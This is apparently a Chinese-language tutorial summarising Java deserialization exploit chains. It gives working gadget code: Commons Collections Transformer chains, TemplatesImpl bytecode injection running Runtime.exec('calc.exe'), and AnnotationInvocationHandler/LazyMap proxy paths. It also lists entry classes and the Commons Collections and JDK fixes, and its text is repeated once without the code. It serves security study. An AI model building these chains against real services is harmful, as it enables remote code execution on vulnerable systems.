Summary Of JavaDeserializations
字数 2210 2025-08-07 00:34:58

Java反序列化漏洞利用链详解

0x00 前置概念

Java反序列化漏洞利用链可以类比为枪械的组成部分:

  1. 枪口:执行命令的切入点(危险函数调用点)
  2. 弹膛:从反序列化入口到危险函数的调用路径
  3. 子弹:实际执行命令的方式
  4. 扳机:反序列化的入口点

0x01 子弹 - 执行命令的方式

1.1 Transformer机制

CommonsCollections组件提供的转换装饰器,位于org.apache.commons.collections.functors包中。

常用Transformer类:

  • ChainedTransformer:链式调用多个Transformer
  • ConstantTransformer:返回固定对象
  • InvokerTransformer:反射调用方法
  • InstantiateTransformer:调用构造方法

典型利用代码:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

1.1.1 InvokerTransformer

通过反射调用任意方法:

public Object transform(Object input) {
    // 反射调用逻辑
    return method.invoke(input, iArgs);
}

1.1.2 ConstantTransformer

简单返回构造时传入的对象:

public Object transform(Object input) {
    return iConstant;
}

1.1.3 ChainedTransformer

链式调用多个Transformer:

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

1.1.4 InstantiateTransformer

调用任意类的构造方法:

public Object transform(Object input) {
    // 获取构造方法并实例化
    Constructor con = input.getClass().getConstructor(iParamTypes);
    return con.newInstance(iArgs);
}

1.2 TemplatesImpl动态加载字节码

利用TemplatesImpl类的两个public方法:

  • TemplatesImpl#getOutputProperties()
  • TemplatesImpl#newTransformer()

恶意类模板:

public static class StubTransletPayload extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}

创建恶意TemplatesImpl:

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

1.2.1 直接调用方式

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};

1.2.2 TrAXFilter触发方式

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

0x02 枪口 - 危险函数调用点

2.1 transform方法调用点

  1. LazyMap#get()中的transform调用
  2. TransformingComparator#compare()中的transform调用

2.2 invoke方法调用点

  1. ToStringBean#toString(String prefix)中的invoke调用
  2. EqualsBean#beanEquals()中的invoke调用
  3. PropertyUtilsBean#invokeMethod中的invoke调用
  4. AnnotationInvocationHandler#equalsImpl中的invoke调用

0x03 弹膛 - 调用路径构造

3.1 调用到LazyMap的get方法

3.1.1 通过AnnotationInvocationHandler代理

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

3.1.2 通过TiedMapEntry.getValue

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "123");
Map expMap = new HashMap();
expMap.put(tme, "whaomi");
outerMap.remove("123");

3.2 调用路径类型

3.2.1 hash调用链

通过HashMap的hash函数触发hashCode方法调用

3.2.2 toString调用链

  • TiedMapEntry#toString()调用getValue
  • BadAttributeValueExpException#readObject()调用toString

3.2.3 equals调用链

AbstractMap#equals()中调用get方法

3.3 动态代理利用

JDK动态代理执行流程:

  1. 实现InvocationHandler接口
  2. Proxy类指定ClassLoader、Interfaces和InvocationHandler
  3. 调用Proxy.newProxyInstance()创建代理实例

典型代理设置:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

0x04 扳机 - 反序列化入口

反序列化入口点必须:

  1. 实现Serializable接口
  2. 能够与危险函数调用点连接
  3. 在反序列化过程中触发调用链

常见入口类:

  • AnnotationInvocationHandler
  • PriorityQueue
  • BadAttributeValueExpException
  • HashSet等集合类

0x05 修复方案

5.1 Commons Collections修复

  1. 3.2.2版本

    • 新增FunctorUtils#checkUnsafeSerialization()方法
    • 默认情况下反序列化会抛出异常
    • 需要设置org.apache.commons.collections.enableUnsafeSerialization=true才能反序列化
  2. 4.0版本

    • InvokerTransformerInstantiateTransformer不再实现Serializable接口

5.2 JDK7u21修复

在JDK7u25中修复:

  1. 修改了AnnotationInvocationHandler的构造方法检查
  2. 修复了equalsImpl方法中的安全问题

版本影响:

  • JDK6u45及之前版本受影响
  • JDK6u51(非公开版本)修复
  • JDK7u21-u24受影响
  • JDK7u25及之后版本修复
  • JDK8全版本不受影响

总结

Java反序列化漏洞利用的核心在于:

  1. 找到合适的执行命令方式(子弹)
  2. 定位危险函数调用点(枪口)
  3. 构造从反序列化入口到危险函数的调用路径(弹膛)
  4. 选择合适的反序列化触发点(扳机)

理解这些基本组件后,可以灵活组合各种利用链,适应不同的环境和限制条件。

Java反序列化漏洞利用链详解 0x00 前置概念 Java反序列化漏洞利用链可以类比为枪械的组成部分: 枪口 :执行命令的切入点(危险函数调用点) 弹膛 :从反序列化入口到危险函数的调用路径 子弹 :实际执行命令的方式 扳机 :反序列化的入口点 0x01 子弹 - 执行命令的方式 1.1 Transformer机制 CommonsCollections 组件提供的转换装饰器,位于 org.apache.commons.collections.functors 包中。 常用Transformer类: ChainedTransformer :链式调用多个Transformer ConstantTransformer :返回固定对象 InvokerTransformer :反射调用方法 InstantiateTransformer :调用构造方法 典型利用代码: 1.1.1 InvokerTransformer 通过反射调用任意方法: 1.1.2 ConstantTransformer 简单返回构造时传入的对象: 1.1.3 ChainedTransformer 链式调用多个Transformer: 1.1.4 InstantiateTransformer 调用任意类的构造方法: 1.2 TemplatesImpl动态加载字节码 利用 TemplatesImpl 类的两个public方法: TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() 恶意类模板: 创建恶意TemplatesImpl: 1.2.1 直接调用方式 1.2.2 TrAXFilter触发方式 0x02 枪口 - 危险函数调用点 2.1 transform方法调用点 LazyMap#get() 中的transform调用 TransformingComparator#compare() 中的transform调用 2.2 invoke方法调用点 ToStringBean#toString(String prefix) 中的invoke调用 EqualsBean#beanEquals() 中的invoke调用 PropertyUtilsBean#invokeMethod 中的invoke调用 AnnotationInvocationHandler#equalsImpl 中的invoke调用 0x03 弹膛 - 调用路径构造 3.1 调用到LazyMap的get方法 3.1.1 通过AnnotationInvocationHandler代理 3.1.2 通过TiedMapEntry.getValue 3.2 调用路径类型 3.2.1 hash调用链 通过HashMap的hash函数触发hashCode方法调用 3.2.2 toString调用链 TiedMapEntry#toString() 调用getValue BadAttributeValueExpException#readObject() 调用toString 3.2.3 equals调用链 AbstractMap#equals() 中调用get方法 3.3 动态代理利用 JDK动态代理执行流程: 实现 InvocationHandler 接口 为 Proxy 类指定ClassLoader、Interfaces和InvocationHandler 调用 Proxy.newProxyInstance() 创建代理实例 典型代理设置: 0x04 扳机 - 反序列化入口 反序列化入口点必须: 实现 Serializable 接口 能够与危险函数调用点连接 在反序列化过程中触发调用链 常见入口类: AnnotationInvocationHandler PriorityQueue BadAttributeValueExpException HashSet 等集合类 0x05 修复方案 5.1 Commons Collections修复 3.2.2版本 : 新增 FunctorUtils#checkUnsafeSerialization() 方法 默认情况下反序列化会抛出异常 需要设置 org.apache.commons.collections.enableUnsafeSerialization=true 才能反序列化 4.0版本 : InvokerTransformer 和 InstantiateTransformer 不再实现 Serializable 接口 5.2 JDK7u21修复 在JDK7u25中修复: 修改了 AnnotationInvocationHandler 的构造方法检查 修复了equalsImpl方法中的安全问题 版本影响: JDK6u45及之前版本受影响 JDK6u51(非公开版本)修复 JDK7u21-u24受影响 JDK7u25及之后版本修复 JDK8全版本不受影响 总结 Java反序列化漏洞利用的核心在于: 找到合适的执行命令方式(子弹) 定位危险函数调用点(枪口) 构造从反序列化入口到危险函数的调用路径(弹膛) 选择合适的反序列化触发点(扳机) 理解这些基本组件后,可以灵活组合各种利用链,适应不同的环境和限制条件。